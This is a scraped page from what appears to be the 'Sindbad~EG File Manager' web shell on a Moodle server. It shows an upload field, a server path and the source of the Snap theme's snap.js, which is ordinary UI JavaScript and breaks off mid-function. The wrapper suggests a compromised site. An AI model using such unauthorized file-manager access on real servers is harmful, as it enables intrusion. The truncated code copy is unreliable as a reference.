Sindbad~EG File Manager

Current Path : /var/www/html/digisferach.sumar.com.py/cursos/theme/snap/amd/src/
Upload File :
Current File : /var/www/html/digisferach.sumar.com.py/cursos/theme/snap/amd/src/snap.js

/**
 * This file is part of Moodle - http://moodle.org/
 *
 * Moodle is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * Moodle is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
 *
 * @package
 * @copyright Copyright (c) 2015 Open LMS (https://www.openlms.net)
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/* exported snapInit */
/* eslint no-invalid-this: "warn"*/

/**
 * Main snap initialising function.
 */
define(['jquery', 'core/log', 'theme_snap/headroom', 'theme_snap/util', 'theme_snap/personal_menu',
        'theme_snap/cover_image', 'theme_snap/progressbar', 'core/templates', 'core/str', 'theme_snap/accessibility',
        'theme_snap/messages', 'theme_snap/scroll'],
    function($, log, Headroom, util, personalMenu, coverImage, ProgressBar, templates, str, accessibility, messages, Scroll) {

        'use strict';

        /* eslint-disable camelcase */
        M.theme_snap = M.theme_snap || {};
        /* eslint-enable camelcase */

        /**
         * master switch for logging
         * @type {boolean}
         */
        var loggingenabled = false;

        if (!loggingenabled) {
            log.disableAll(true);
        } else {
            log.enableAll(true);
        }

        /**
         * Initialize pre SCSS and grading constants.
         * New variables can be initialized if necessary.
         * These variables are being passed from classes/output/shared.php,
         * and being updated from php constants in snapInit.
         */
        var brandColorSuccess = '';
        var brandColorWarning = '';
        var GRADE_DISPLAY_TYPE_PERCENTAGE = '';
        var GRADE_DISPLAY_TYPE_PERCENTAGE_REAL = '';
        var GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER = '';
        var GRADE_DISPLAY_TYPE_REAL = '';
        var GRADE_DISPLAY_TYPE_REAL_PERCENTAGE = '';
        var GRADE_DISPLAY_TYPE_REAL_LETTER = '';

        /**
         * Get all url parameters from href
         * @param {string} href
         * @returns {Array}
         */
        var getURLParams = function(href) {
            // Create temporary array from href.
            var ta = href.split('?');
            if (ta.length < 2) {
                return false; // No url params
            }
            // Get url params full string from href.
            var urlparams = ta[1];

            // Strip out hash component
            urlparams = urlparams.split('#')[0];

            // Get urlparam items.
            var items = urlparams.split('&');

            // Create params array of values hashed by key.
            var params = [];
            for (var i = 0; i < items.length; i++) {
                var item = items[i].split('=');
                var key = item[0];
                var val = item[1];
                params[key] = val;
            }
            return (params);
        };

        /**
         * Change save and cancel buttons from forms to the bottom on mobile mode.
         */
        $(window).on('resize', function() {
            mobileFormChecker();
            updateGraderHeadersTop();
        });

        var mobileFormChecker = function() {
            var savebuttonsformrequired = $('div[role=main] .mform div.snap-form-required fieldset > div.form-group.fitem');
            var savebuttonsformadvanced = $('div[role=main] .mform div.snap-form-advanced > div:nth-of-type(3)');
            var width = $(window).width();
            if (width < 992) {
                $('.snap-form-advanced').append(savebuttonsformrequired);
            } else if (width > 992) {
                $('.snap-form-required fieldset#id_general').append(savebuttonsformadvanced);
            }
        };

        const updateGraderHeadersTop = function() {
            const graderHeader = $('.path-grade-report-grader .gradeparent tr.heading');
            if (graderHeader.length) {
                graderHeader.css('top', $('#mr-nav').height() + 'px');
            }
        };

        const regionMain = $('.path-grade-report-grader #region-main div[role="main"]');
        if (regionMain.length > 0) {
            const gradeParent = regionMain[0].querySelector('.gradeparent');
            if (gradeParent) {
                regionMain.addClass('snap-grade-reporter');
            }
        }

        updateGraderHeadersTop();

        /**
         * Move PHP errors into header
         *
         * @author Guy Thomas
         * @date 2014-05-19
         */
        var movePHPErrorsToHeader = function() {
            // Remove <br> tags inserted before xdebug-error.
            var xdebugs = $('.xdebug-error');
            if (xdebugs.length) {
                for (var x = 0; x < xdebugs.length; x++) {
                    var el = xdebugs[x];
                    var fontel = el.parentNode;
                    var br = $(fontel).prev('br');
                    $(br).remove();
                }
            }

            // Get messages using the different classes we want to use to target debug messages.
            var msgs = $('.xdebug-error, .php-debug, .debuggingmessage');

            if (msgs.length) {
                // OK we have some errors - lets shove them in the footer.
                $(msgs).addClass('php-debug-footer');
                var errorcont = $('<div id="footer-error-cont"><h3>' +
                    M.util.get_string('debugerrors', 'theme_snap') +
                    '</h3><hr></div>');
                $('#page-footer').append(errorcont);
                $('#footer-error-cont').append(msgs);
                // Add rulers
                $('.php-debug-footer').after($('<hr>'));
                // Lets also add the error class to the header so we know there are some errors.
                $('#mr-nav').addClass('errors-found');
                // Lets add an error link to the header.
                var errorlink = $('<a class="footer-error-link btn btn-danger" href="#footer-error-cont">' +
                    M.util.get_string('problemsfound', 'theme_snap') + ' <span class="badge">' + (msgs.length) + '</span></a>');
                $('#page-header').append(errorlink);
            }
        };

        /**
         * Are we on the course page?
         * Note: This doesn't mean that we are in a course - Being in a course could mean that you are on a module page.
         * This means that you are actually on the course page.
         * @returns {boolean}
         */
        var onCoursePage = function() {
            return $('body').attr('id').indexOf('page-course-view-') === 0;
        };

        /**
         * Apply block hash to form actions etc if necessary.
         */
        /* eslint-disable no-invalid-this */
        var applyBlockHash = function() {
            // Add block hash to add block form.
            if (onCoursePage()) {
                $('.block_adminblock form').each(function() {
                    /* eslint-disable no-invalid-this */
                    $(this).attr('action', $(this).attr('action') + '#coursetools');
                });
            }

            if (location.hash !== '') {
                return;
            }

            var urlParams = getURLParams(location.href);

            // If calendar navigation has been clicked then go back to calendar.
            if (onCoursePage() && typeof (urlParams.time) !== 'undefined') {
                location.hash = 'coursetools';
                if ($('.block_calendar_month')) {
                    util.scrollToElement($('.block_calendar_month'));
                }
            }

            // Form selectors for applying blocks hash.
            var formselectors = [
                'body.path-blocks-collect #notice form'
            ];

            // There is no decent selector for block deletion so we have to add the selector if the current url has the
            // appropriate parameters.
            var paramchecks = ['bui_deleteid', 'bui_editid'];
            for (var p in paramchecks) {
                var param = paramchecks[p];
                if (typeof (urlParams[param]) !== 'undefined') {
                    formselectors.push('#notice form');
                    break;
                }
            }

            // If required, apply #coursetools hash to form action - this is so that on submitting form it returns to course
            // page on blocks tab.
            $(formselectors.join(', ')).each(function() {
                // Only apply the blocks hash if a hash is not already present in url.
                var formurl = $(this).attr('action');
                if (formurl.indexOf('#') === -1
                    && (formurl.indexOf('/course/view.php') > -1)
                ) {
                    $(this).attr('action', $(this).attr('action') + '#coursetools');
                }
            });
        };

        /**
         * Set forum strings because there isn't a decent renderer for mod/forum
         * It would be great if the official moodle forum module used a renderer for all output
         *
         * @author Guy Thomas
         * @date 2014-05-20
         */
        var setForumStrings = function() {
            $('.path-mod-forum tr.discussion td.topic.starter').attr('data-cellname',
                M.util.get_string('forumtopic', 'theme_snap'));
            $('.path-mod-forum tr.discussion td.picture:not(\'.group\')').attr('data-cellname',
                M.util.get_string('forumauthor', 'theme_snap'));
            $('.path-mod-forum tr.discussion td.picture.group').attr('data-cellname',
                M.util.get_string('forumpicturegroup', 'theme_snap'));
            $('.path-mod-forum tr.discussion td.replies').attr('data-cellname',
                M.util.get_string('forumreplies', 'theme_snap'));
            $('.path-mod-forum tr.discussion td.lastpost').attr('data-cellname',
                M.util.get_string('forumlastpost', 'theme_snap'));
        };

        /**
         * Process toc search string - trim, remove case sensitivity etc.
         *
         * @author Guy Thomas
         * @param {string} searchString
         * @returns {string}
         */
        var processSearchString = function(searchString) {
            searchString = searchString.trim().toLowerCase();
            return (searchString);
        };

        /**
         * Search course modules
         *
         * @author Stuart Lamour
         * @param {array} dataList
         */
        var tocSearchCourse = function(dataList) {
            // Keep search input open
            var i;
            var ua = window.navigator.userAgent;
            if (ua.indexOf('MSIE ') || ua.indexOf('Trident/')) {
                // We have reclone datalist over again for IE, or the same search fails the second time round.
                dataList = $("#toc-searchables").find('li').clone(true);
            }

            // TODO - for 2.7 process search string called too many times?
            var searchString = $("#toc-search-input").val();
            searchString = processSearchString(searchString);

            if (searchString.length === 0) {
                $('#toc-search-results').html('');
                $("#toc-search-input").removeClass('state-active');

            } else {
                $("#toc-search-input").addClass('state-active');
                var matches = [];
                for (i = 0; i < dataList.length; i++) {
                    var dataItem = dataList[i];
                    if (processSearchString($(dataItem).text()).indexOf(searchString) > -1) {
                        matches.push(dataItem);
                    }
                }
                $('#toc-search-results').html(matches);
            }
        };

        /**
         * Apply body classes which could not be set by renderers - e.g. when a notice was outputted.
         * We could do this in plain CSS if there was such a think as a parent selector.
         */
        var bodyClasses = function() {
            var extraclasses = [];
            if ($('#notice.snap-continue-cancel').length) {
                extraclasses.push('hascontinuecancel');
            }
            $('body').addClass(extraclasses.join(' '));
        };

        /**
         * Listen for hash changes / popstates.
         * @param {CourseLibAmd} courseLib
         */
        var listenHashChange = function(courseLib) {
            var lastHash = location.hash;
            $(window).on('popstate hashchange', function(e) {
                var newHash = location.hash;
                log.info('hashchange');
                if (newHash !== lastHash) {
                    if (location.hash === '#primary-nav') {
                        personalMenu.update();
                    } else {
                        $('#page, #moodle-footer, #js-snap-pm-trigger, #logo, .skiplinks').css('display', '');
                        if (onCoursePage()) {
                            log.info('show section', e.target);
                            courseLib.showSection();
                        }
                    }
                }
                lastHash = newHash;
            });
        };

        /**
         * Course footer recent activity dom re-order.
         */
        var recentUpdatesFix = function() {
            $('#snap-course-footer-recent-activity .info').each(function() {
                $(this).appendTo($(this).prev());
            });
            $('#snap-course-footer-recent-activity .head .name').each(function() {
                $(this).prependTo($(this).closest(".head"));
            });
        };

        /**
         * Apply progressbar.js for circular progress displays.
         * @param {node} nodePointer
         * @param {function} dataCallback
         * @param {function} valueCallback
         */
        var createColoredDataCircle = function(nodePointer, dataCallback, valueCallback = null) {
            var circle = new ProgressBar.Circle(nodePointer, {
                color: 'inherit', // @gray.
                easing: 'linear',
                strokeWidth: 6,
                trailWidth: 3,
                duration: 1400,
                text: {
                    value: '0'
                }
            });
            var value = ($(nodePointer).attr('value') / 100);
            var endColor = brandColorSuccess; // Green @brand-success.
            if (value === 0 || $(nodePointer).attr('value') === '-') {
                circle.setText('-');
            } else {
                if ($(nodePointer).attr('value') < 50) {
                    endColor = brandColorWarning; // Orange @brand-warning.
                }
                circle.setText(dataCallback(nodePointer));
            }
            var valueAnimate = 0;

            if (valueCallback === null) {
                valueAnimate = value;
            } else {
                valueAnimate = valueCallback(nodePointer);
            }
            circle.animate(valueAnimate, {
                from: {
                    color: '#999' // @gray-light.
                },
                to: {
                    color: endColor
                },
                step: function(state, circle) {
                    circle.path.setAttribute('stroke', state.color);
                }
            });
        };

        var progressbarcircle = function() {
            $('.snap-student-dashboard-progress .js-progressbar-circle').each(function() {
                createColoredDataCircle(this, function(nodePointer) {
                    return $(nodePointer).attr('value') + '<small>%</small>';
                });
            });

            $('.snap-student-dashboard-grade .js-progressbar-circle').each(function() {
                createColoredDataCircle(this, function(nodePointer) {
                    var nodeValue = $(nodePointer).attr('value');
                    var gradeFormat = $(nodePointer).attr('gradeformat');

                    /**
                     * Definitions for gradebook.
                     *
                     * We need to display the % for all the grade formats which contains a % in the value.
                     */
                    if (gradeFormat == GRADE_DISPLAY_TYPE_PERCENTAGE
                        || gradeFormat == GRADE_DISPLAY_TYPE_PERCENTAGE_REAL
                        || gradeFormat == GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER) {
                        nodeValue = nodeValue + '<small>%</small>';
                    }
                    return nodeValue;
                }, function(nodePointer) {
                    var valueAnimate = $(nodePointer).attr('value');
                    var gradeFormat = $(nodePointer).attr('gradeformat');

                    if (gradeFormat == GRADE_DISPLAY_TYPE_REAL
                        || gradeFormat == GRADE_DISPLAY_TYPE_REAL_PERCENTAGE
                        || gradeFormat == GRADE_DISPLAY_TYPE_REAL_LETTER) {
                        valueAnimate = 0;
                    } else {
                        valueAnimate = ($(nodePointer).attr('value') / 100);
                    }
                    return valueAnimate;
                });
            });
        };

        /**
         * Add listeners.
         *
         * just a wrapper for various snippets that add listeners
         */
        var addListeners = function() {
            var selectors = [
                '.chapters a',
                '.section_footer a',
                ' #toc-search-results a'
            ];

            $(document).on('click', selectors.join(', '), function(e) {
                var href = this.getAttribute('href');
                if (window.history && window.history.pushState) {
                    history.pushState(null, null, href);
                    // Force hashchange fix for FF & IE9.
                    $(window).trigger('hashchange');
                    // Prevent scrolling to section.
                    e.preventDefault();
                } else {
                    location.hash = href;
                }
            });

            // Show fixed header on scroll down
            // using headroom js - http://wicky.nillia.ms/headroom.js/
            var myElement = document.querySelector("#mr-nav");
            // Functions added to trigger on pin and unpin actions for the nav bar
            var onPin = () => {
                $('.snap-drawer-no-headroom').addClass('snap-drawer-headroom');
                $('.snap-drawer-headroom').removeClass('snap-drawer-no-headroom');
            };
            var onUnpin = () => {
                $('.snap-drawer-headroom').addClass('snap-drawer-no-headroom');
                $('.snap-drawer-no-headroom').removeClass('snap-drawer-headroom');
            };
            // Construct an instance of Headroom, passing the element.
            var headroom = new Headroom(myElement, {
                "tolerance": 5,
                "offset": 100,
                "classes": {
                    // When element is initialised
                    initial: "headroom",
                    // When scrolling up
                    pinned: "headroom--pinned",
                    // When scrolling down
                    unpinned: "headroom--unpinned",
                    // When above offset
                    top: "headroom--top",
                    // When below offset
                    notTop: "headroom--not-top"
                },
                "onPin": onPin,
                "onUnpin": onUnpin
            });
            // When not signed in always show mr-nav?
            if (!$('.notloggedin').length) {
                headroom.init();
            }

            // Listener for toc search.
            var dataList = $("#toc-searchables").find('li').clone(true);
            $('#course-toc').on('keyup', '#toc-search-input', function() {
                tocSearchCourse(dataList);
            });

            // Handle keyboard navigation of search items.
            $('#course-toc').on('keydown', '#toc-search-input', function(e) {
                var keyCode = e.keyCode || e.which;
                if (keyCode === 9) {
                    // 9 tab
                    // 13 enter
                    // 40 down arrow
                    // Register listener for exiting search result.
                    $('#toc-search-results a').last().blur(function() {
                        $(this).off('blur'); // Unregister listener
                        $("#toc-search-input").val('');
                        $('#toc-search-results').html('');
                        $("#toc-search-input").removeClass('state-active');
                    });

                }
            });

            $('#course-toc').on("click", '#toc-search-results a', function() {
                $("#toc-search-input").val('');
                $('#toc-search-results').html('');
                $("#toc-search-input").removeClass('state-active');
            });

            /**
             * When the document is clicked, if the closest object that was clicked was not the search input then close
             * the search results.
             * Note that this is triggered also when you click on a search result as the results should no longer be
             * required at that point.
             */
            $(document).on('click', function(event) {
                if (!$(event.target).closest('#toc-search-input').length) {
                    $("#toc-search-input").val('');
                    $('#toc-search-results').html('');
                    $("#toc-search-input").removeClass('state-active');
                }
            });

            // Onclick for toggle of state-visible of admin block and mobile menu.
            $(document).on("click", "#admin-menu-trigger, #toc-mobile-menu-toggle", function(e) {

                // Close the Snap feeds side menu in case it is open.
                var snapFeedsTrigger = document.getElementById('snap_feeds_side_menu_trigger');
                if ($(snapFeedsTrigger).length != 0) {
                    var hrefSnapFeeds = snapFeedsTrigger.getAttribute('href');
                    if ($(snapFeedsTrigger).hasClass('active') && $(hrefSnapFeeds).hasClass('state-visible')) {
                        var showFeedsString = M.util.get_string('show', 'moodle')
                            + ' ' +  M.util.get_string('snapfeedsblocktitle', 'theme_snap');
                        $(snapFeedsTrigger).attr('title', showFeedsString);
                        $(snapFeedsTrigger).attr('aria-label', showFeedsString);
                        $(snapFeedsTrigger).attr('aria-expanded', false);
                        $(snapFeedsTrigger).removeClass('active');
                        $(hrefSnapFeeds).removeClass('state-visible');
                        $('#page').toggleClass('offcanvas');
                    }
                }
                var href = this.getAttribute('href');
                // Make this only happen for settings button.
                if (this.getAttribute('id') === 'admin-menu-trigger') {
                    $(this).toggleClass('active');
                    $('#page').toggleClass('offcanvas');
                }
                $(href).attr('tabindex', '0');
                $(href).toggleClass('state-visible').focus();
                e.preventDefault();

                if ($('.message-app.main').length === 0) {
                    document.dispatchEvent(new Event("messages-drawer:toggle"));
                }
            });

            // Onclick for toggle of state-visible of snap feeds side menu.
            $(document).on("click", "#snap_feeds_side_menu_trigger", function(e) {
                // Close the Admin settings block in case it is open.
                var adminSettingsTrigger = document.getElementById('admin-menu-trigger');
                if ($(adminSettingsTrigger).length != 0) {
                    var hrefAdminSettings = adminSettingsTrigger.getAttribute('href');
                    if ($(adminSettingsTrigger).hasClass('active') && $(hrefAdminSettings).hasClass('state-visible')) {
                        $(adminSettingsTrigger).removeClass('active');
                        $(hrefAdminSettings).removeClass('state-visible');
                        $('#page').toggleClass('offcanvas');
                    }
                }

                var href = this.getAttribute('href');
                if (this.getAttribute('id') === 'snap_feeds_side_menu_trigger') {
                    var showFeedsString = M.util.get_string('show', 'moodle')
                        + ' ' +  M.util.get_string('snapfeedsblocktitle', 'theme_snap');
                    var hideFeedsString = M.util.get_string('hide', 'moodle')
                        + ' ' +  M.util.get_string('snapfeedsblocktitle', 'theme_snap');
                    if (this.getAttribute('title') === showFeedsString) {
                        $(this).attr('title', hideFeedsString);
                        $(this).attr('aria-label', hideFeedsString);
                        $(this).attr('aria-expanded', true);
                    } else {
                        $(this).attr('title', showFeedsString);
                        $(this).attr('aria-label', showFeedsString);
                        $(this).attr('aria-expanded', false);
                    }
                    $(this).toggleClass('active');
                    $('#page').toggleClass('offcanvas');
                }
                $(href).toggleClass('state-visible').focus();
                e.preventDefault();
            });

            // Mobile menu button.
            $(document).on("click", "#course-toc.state-visible a", function() {
                $('#course-toc').removeClass('state-visible');
            });

            // Reset videos, when changing section (INT-18208).
            $(document).on("click", ".section_footer a, .chapter-title, .toc-footer a", function() {
                const videos = $('[title="watch"], .video-js, iframe:not([id])');
                for (let i = 0; i < videos.length; i++) {
                    if (videos[i].classList.contains('video-js')) {
                        if (videos[i].classList.contains('vjs-playing')) {
                            let videoButton = videos[i].querySelector('.vjs-play-control.vjs-control.vjs-button');
                            videoButton.click(); // Stop for videos using video-js Plugin.
                        }
                    } else if (videos[i].nodeName === 'IFRAME') {
                        if (videos[i].src.includes("vimeo")) {
                            videos[i].src += ""; // Stop for Vimeo embedded videos.
                        }
                    } else {
                        videos[i].querySelector('iframe').src += ""; // Stop for Youtube embedded videos.
                    }
                }
            });

            $(document).on('click', '.news-article .toggle', function(e) {
                var $news = $(this).closest('.news-article');
                var $newstoggle = $(this);
                var $newsclose = $news.find('.news-article-message > div > a[role="button"]');
                util.scrollToElement($news);
                $('.news-article').not($news).removeClass('state-expanded');
                $('.news-article .toggle').not($newstoggle).attr('aria-expanded', 'false');
                $('.news-article-message > div > a[role="button"]').not($newsclose).attr('aria-expanded', 'false');
                $('.news-article-message').css('display', 'none');

                $news.toggleClass('state-expanded');
                if (!$news.attr('state-expanded')) {
                    $news.focus();
                    $newstoggle.attr('aria-expanded', 'false');
                    $newsclose.attr('aria-expanded', 'false');
                }
                $('.state-expanded').find('.news-article-message').slideDown("fast", function() {
                    // Animation complete.
                    if ($news.is('.state-expanded')) {
                        $news.find('.news-article-message').focus();
                        $newstoggle.attr('aria-expanded', 'true');
                        $newsclose.attr('aria-expanded', 'true');
                    } else {
                        $news.focus();
                        $newstoggle.attr('aria-expanded', 'false');
                        $newsclose.attr('aria-expanded', 'false');
                    }
                    $(document).trigger('snapContentRevealed');
                });
                e.preventDefault();
            });

            // Add listeners for pausing animated images.
            $(document).on('click', '.anim-play-button', function() {
                $(this).parent().prev().css('visibility', 'visible');
            });
            $(document).on('click', '.anim-pause-button', function() {
                $(this).parent().prev().css('visibility', 'hidden');
            });

            // Initialise the scroll event listener.
            (new Scroll()).init();

            // Bootstrap js elements.

            // Initialise core bootstrap tooltip js.
            $(function() {
                var supportsTouch = false;
                if ('ontouchstart' in window) {
                    // IOS & android
                    supportsTouch = true;
                } else if (window.navigator.msPointerEnabled) {
                    // Win8
                    supportsTouch = true;
                }
                if (!supportsTouch) {
                    var tooltipNode = $('[data-toggle="tooltip"]');
                    if ($.isFunction(tooltipNode.tooltip)) {
                        tooltipNode.tooltip();
                    }
                }
            });
        };

        /**
         * Function to fix the styles when fullscreen is used with Atto Editor.
         */
        function waitForFullScreenButton() {
            var maxIterations = 15;
            var i = 0;
            var checker = setInterval(function() {
                i = i + 1;
                if (i > maxIterations) {
                    clearInterval(checker);
                } else {
                    if ($('button.atto_fullscreen_button').length != 0 && $('div.editor_atto').length != 0) {
                        $('button.atto_fullscreen_button').click(function() {
                            $('div.editor_atto').css('background-color', '#eee');
                            $('div.editor_atto').css('z-index', '1');
                        });
                        $('button.atto_html_button').click(function() {
                            $('#id_introeditor').css('z-index', '1');
                        });
                        clearInterval(checker);
                    }
                }
            }, 2000);
        }

        /**
         * AMD return object.
         */
        return {
            /**
             * Snap initialise function.
             * @param {object} courseConfig
             * @param {bool} pageHasCourseContent
             * @param {int} siteMaxBytes
             * @param {bool} forcePassChange
             * @param {bool} messageBadgeCountEnabled
             * @param {int} userId
             * @param {bool} sitePolicyAcceptReqd
             * @param {bool} inAlternativeRole
             * @param {string} brandColors
             * @param {int} gradingConstants
             */
            snapInit: function(courseConfig, pageHasCourseContent, siteMaxBytes, forcePassChange,
                               messageBadgeCountEnabled, userId, sitePolicyAcceptReqd, inAlternativeRole,
                               brandColors, gradingConstants) {

                // Set up.

                // Branding colors. New colors can be set up if necessary.
                brandColorSuccess = brandColors.success;
                brandColorWarning = brandColors.warning;
                // Grading constants for percentage.
                GRADE_DISPLAY_TYPE_PERCENTAGE = gradingConstants.gradepercentage;
                GRADE_DISPLAY_TYPE_PERCENTAGE_REAL = gradingConstants.gradepercentagereal;
                GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER = gradingConstants.gradepercentageletter;
                GRADE_DISPLAY_TYPE_REAL = gradingConstants.gradereal;
                GRADE_DISPLAY_TYPE_REAL_PERCENTAGE = gradingConstants.graderealpercentage;
                GRADE_DISPLAY_TYPE_REAL_LETTER = gradingConstants.graderealletter;

                M.cfg.context = courseConfig.contextid;
                M.snapTheme = {forcePassChange: forcePassChange};

                // General AMD modules.
                personalMenu.init(sitePolicyAcceptReqd);

                // Course related AMD modules (note, site page can technically have course content too).
                if (pageHasCourseContent) {
                    require(
                        [
                            'theme_snap/course-lazy'
                        ], function(CourseLibAmd) {
                            // Instantiate course lib.
                            var courseLib = new CourseLibAmd(courseConfig);

                            // Hash change listener goes here because it requires courseLib.
                            listenHashChange(courseLib);
                        }
                    );
                }

                // When document has loaded.
                /* eslint-disable complexity */
                $(document).ready(function() {
                    movePHPErrorsToHeader(); // Boring
                    setForumStrings(); // Whatever
                    addListeners(); // Essential
                    applyBlockHash(); // Change location hash if necessary
                    bodyClasses(); // Add body classes
                    mobileFormChecker();
                    util.processAnimatedImages();

                    // Make sure that the blocks are always within page-content for assig view page.
                    $('#page-mod-assign-view #page-content').append($('#moodle-blocks'));

                    // Remove from Dom the completion tracking when it is disabled for an activity.
                    $('.snap-header-card .snap-header-card-icons .disabled-snap-asset-completion-tracking').remove();

                    // Prepend asset type when activity is a folder to appear in the card header instead of the content.
                    var folders = $('li.snap-activity.modtype_folder');
                    $.each(folders, function(index, folder) {
                        var content = $(folder).find('div.contentwithoutlink div.snap-assettype');
                        if (content.length > 0) {
                            if ($(folder).find('div.activityinstance div.snap-header-card .asset-type').length == 0) {
                                var folderAssetTypeHeader = $(folder).find('div.activityinstance div.snap-header-card');
                                content.prependTo(folderAssetTypeHeader);
                            }
                        }
                    });

                    // Add a class to the body to show js is loaded.
                    $('body').addClass('snap-js-loaded');
                    // Apply progressbar.js for circluar progress display.
                    progressbarcircle();
                    // Course footer recent updates dom fixes.
                    recentUpdatesFix();

                    if (!$('.notloggedin').length) {
                        if ($('body').hasClass('pagelayout-course') || $('body').hasClass('pagelayout-frontpage')) {
                            coverImage.courseImage(courseConfig.shortname, siteMaxBytes);
                        } else if ($('body').hasClass('pagelayout-coursecategory')) {
                            if (courseConfig.categoryid) {
                                coverImage.categoryImage(courseConfig.categoryid, siteMaxBytes);
                            }
                        }
                    }
                    // Allow deeplinking to bs tabs on snap settings page.
                    if ($('#page-admin-setting-themesettingsnap').length) {
                        var tabHash = location.hash;
                        // Check link is to a tab hash.
                        if (tabHash && $('.nav-link[href="' + tabHash + '"]').length) {
                            $('.nav-link[href="' + tabHash + '"]').tab('show');
                            $(window).scrollTop(0);
                        }
                    }

                    // Add extra padding when the error validation message appears at the moment of enter a not valid
                    // URL for feature spots.
                    var firstlinkerror = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_one_title_link span.error');
                    var secondlinkerror = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_two_title_link span.error');
                    var thirdlinkerror = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_three_title_link span.error');
                    var titlelinksettingone = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_one_title_link .form-label');
                    var titlelinksettingtwo = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_two_title_link .form-label');
                    var titlelinksettingthree = $('#page-admin-setting-themesettingsnap #themesnapfeaturespots' +
                        ' #admin-fs_three_title_link .form-label');
                    // Create an extra Div to wrap title links settings to avoid line break.
                    $('#page-admin-setting-themesettingsnap #themesnapfeaturespots ' +
                        '#admin-fs_three_title').nextUntil('#page-admin-setting-themesettingsnap #themesnapfeaturespots ' +
                        '#admin-fs_one_title_link_cb').wrapAll("<div class=fs-title-links></div>");
                    var linktitlestyle = {'padding-bottom': '2.1em'};

                    // We need to modify the padding of these elements depending on the case, because when validating
                    // the link and throwing an error, this will create an extra height to the parent and can break
                    // the visualization of the settings page for Feature spots.
                    if ((firstlinkerror).length) {
                        titlelinksettingtwo.css(linktitlestyle);
                        titlelinksettingthree.css(linktitlestyle);
                    }
                    if ((secondlinkerror).length) {
                        titlelinksettingone.css(linktitlestyle);
                        titlelinksettingthree.css(linktitlestyle);
                    }
                    if ((thirdlinkerror).length) {
                        titlelinksettingone.css(linktitlestyle);
                        titlelinksettingtwo.css(linktitlestyle);
                    }

                    if ($('body').hasClass('snap-pm-open')) {
                        personalMenu.update();
                    }

                    // SHAME - make section name creation mandatory
                    if ($('#page-course-editsection.format-topics').length) {
                        var usedefaultname = document.getElementById('id_name_customize'),
                            sname = document.getElementById('id_name_value');
                        usedefaultname.value = '1';
                        usedefaultname.checked = true;
                        sname.required = "required";
                        // Make sure that section does have at least one character.
                        $(sname).attr("pattern", ".*\\S+.*");
                        $(usedefaultname).parent().css('display', 'none');

                        // Enable the cancel button.
                        $('#id_cancel').on('click', function() {
                            $(sname).removeAttr('required');
                            $(sname).removeAttr('pattern');
                            return true;
                        });
                    // Make sure that in other formats, "only spaces" name is not available.
                    } else {
                        $('#id_name_value').attr("pattern", ".*\\S+.*");
                        $('#id_cancel').on('click', function() {
                            $(sname).removeAttr('pattern');
                            return true;
                        });
                    }

                    // Book mod print button, only show if print link already present.
                    if ($('#page-mod-book-view a[href*="mod/book/tool/print/index.php"]').length) {
                        var urlParams = getURLParams(location.href);
                        if (urlParams) {
                            $('[data-block="_fake"]').append('<p>' +
                                '<hr><a target="_blank" href="/mod/book/tool/print/index.php?id=' + urlParams.id + '">' +
                                M.util.get_string('printbook', 'booktool_print') +
                                '</a></p>');
                        }
                    }

                    var modSettingsIdRe = /^page-mod-.*-mod$/; // E.g. #page-mod-resource-mod or #page-mod-forum-mod
                    var onModSettings = modSettingsIdRe.test($('body').attr('id')) && location.href.indexOf("modedit") > -1;
                    if (!onModSettings) {
                        modSettingsIdRe = /^page-mod-.*-general$/;
                        onModSettings = modSettingsIdRe.test($('body').attr('id')) && location.href.indexOf("modedit") > -1;
                    }
                    var onCourseSettings = $('body').attr('id') === 'page-course-edit';
                    var onSectionSettings = $('body').attr('id') === 'page-course-editsection';
                    $('#page-mod-hvp-mod .h5p-editor-iframe').parent().css({"display": "block"});
                    var pageBlacklist = ['page-mod-hvp-mod'];
                    var pageNotInBlacklist = pageBlacklist.indexOf($('body').attr('id')) === -1;

                    if ((onModSettings || onCourseSettings || onSectionSettings) && pageNotInBlacklist) {
                        // Wrap advanced options in a div
                        var vital = [
                            ':first',
                            '#page-course-edit #id_descriptionhdr',
                            '#id_contentsection',
                            '#id_general + #id_general', // Turnitin duplicate ID bug.
                            '#id_content',
                            '#page-mod-choice-mod #id_optionhdr',
                            '#page-mod-workshop-mod #id_gradingsettings',
                            '#page-mod-choicegroup-mod #id_miscellaneoussettingshdr',
                            '#page-mod-choicegroup-mod #id_groups',
                            '#page-mod-scorm-mod #id_packagehdr'
                        ];
                        vital = vital.join();

                        $('form[id^="mform1"] > fieldset').not(vital).wrapAll('<div class="snap-form-advanced col-md-4" />');

                        // Add expand all to advanced column.
                        $(".snap-form-advanced").append($(".collapsible-actions"));
                        // Add collapsed to all fieldsets in advanced, except on course edit page.
                        if (!$('#page-course-edit').length) {
                            $(".snap-form-advanced fieldset").addClass('collapsed');
                        }

                        // Sanitize required input into a single fieldset
                        var mainForm = $('form[id^="mform1"] fieldset:first');
                        var appendTo = $('form[id^="mform1"] fieldset:first .fcontainer');

                        var required = $('form[id^="mform1"] > fieldset').not('form[id^="mform1"] > fieldset:first');
                        for (var i = 0; i < required.length; i++) {
                            var content = $(required[i]).find('.fcontainer');
                            $(appendTo).append(content);
                            $(required[i]).remove();
                        }
                        $(mainForm).wrap('<div class="snap-form-required col-md-8" />');

                        // Show the form buttons when adding multiple LTI activities.
                        if ($('body#page-mod-lti-mod').length) {
                            var multipleLTIActivities =
                                document.querySelector('section#region-main form.mform > div[data-attribute="dynamic-import"]');
                            var LTIObserver = new MutationObserver(function() {
                                $('fieldset#id_general > :nth-child(5)').detach()
                                    .appendTo('section#region-main > div[role="main"] > form.mform');
